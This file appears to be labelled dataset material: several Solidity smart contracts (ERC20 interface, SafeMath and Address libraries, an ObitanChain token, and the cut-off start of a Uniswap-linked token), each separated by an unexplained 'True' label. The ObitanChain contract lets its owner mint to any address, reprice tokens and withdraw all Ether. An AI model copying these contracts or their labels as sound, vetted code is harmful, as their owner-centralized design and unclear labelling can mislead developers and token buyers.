IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }

True

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pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error * Name : Obitanchain (OBTC) * Decimals : 8 * TotalSupply : 30000000000 * * * * */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ForeignToken { function balanceOf(address _owner) constant public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ObitanChainToken is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; string public constant name = "ObitanChain"; string public constant symbol = "OBTC"; uint public constant decimals = 8; uint256 public totalSupply = 30000000000e8; uint256 public totalDistributed = 5000000000e8; uint256 public constant MIN_CONTRIBUTION = 1 ether / 100; // 0.01 Ether uint256 public tokensPerEth = 20000000e8; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Airdrop(address indexed _owner, uint _amount, uint _balance); event TokensPerEthUpdated(uint _tokensPerEth); event Burn(address indexed burner, uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } function ObitanChainToken () public { owner = msg.sender; distr(owner, totalDistributed); } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; emit DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); balances[_to] = balances[_to].add(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function doAirdrop(address _participant, uint _amount) internal { require( _amount > 0 ); require( totalDistributed < totalSupply ); balances[_participant] = balances[_participant].add(_amount); totalDistributed = totalDistributed.add(_amount); if (totalDistributed >= totalSupply) { distributionFinished = true; } // log emit Airdrop(_participant, _amount, balances[_participant]); emit Transfer(address(0), _participant, _amount); } function adminClaimAirdrop(address _participant, uint _amount) public onlyOwner { doAirdrop(_participant, _amount); } function adminClaimAirdropMultiple(address[] _addresses, uint _amount) public onlyOwner { for (uint i = 0; i < _addresses.length; i++) doAirdrop(_addresses[i], _amount); } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function () external payable { getTokens(); } function getTokens() payable canDistr public { uint256 tokens = 0; // minimum contribution require( msg.value >= MIN_CONTRIBUTION ); require( msg.value > 0 ); // get baseline number of tokens tokens = tokensPerEth.mul(msg.value) / 1 ether; address investor = msg.sender; if (tokens > 0) { distr(investor, tokens); } if (totalDistributed >= totalSupply) { distributionFinished = true; } } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } // mitigates the ERC20 short address attack modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { // mitigates the ERC20 spend/approval race condition if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ ForeignToken t = ForeignToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdraw() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); emit Burn(burner, _value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }

True

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pragma solidity ^0.8.3; // SPDX-License-Identifier: Unlicensed /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event 